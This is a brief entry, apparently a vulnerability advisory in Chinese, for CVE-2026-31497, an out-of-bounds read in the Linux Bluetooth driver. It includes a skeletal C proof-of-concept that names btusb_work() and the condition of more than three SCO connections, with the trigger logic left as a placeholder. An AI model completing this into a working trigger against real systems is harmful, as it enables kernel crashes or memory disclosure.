CVE-2026-31497 Linux内核蓝牙驱动越界读取漏洞

/* * PoC Concept: Triggering btusb_work() with excessive SCO connections * This requires a Bluetooth controller supporting SCO and a local user context. */ #include <bluetooth/bluetooth.h> #include <bluetooth/hci.h> #include <bluetooth/hci_lib.h> int main() { int dev_id = hci_get_route(NULL); int dd = hci_open_dev(dev_id); if (dev_id < 0 || dd < 0) { perror("Device open failed"); return 1; } // Attempt to open more than 3 SCO connections simultaneously // to trigger the out-of-bounds read in btusb_work(). printf("Attempting to trigger condition...\n"); // Logic to establish connections would go here // Exploitation depends on specific hardware support for multiple SCO links hci_close_dev(dd); return 0; }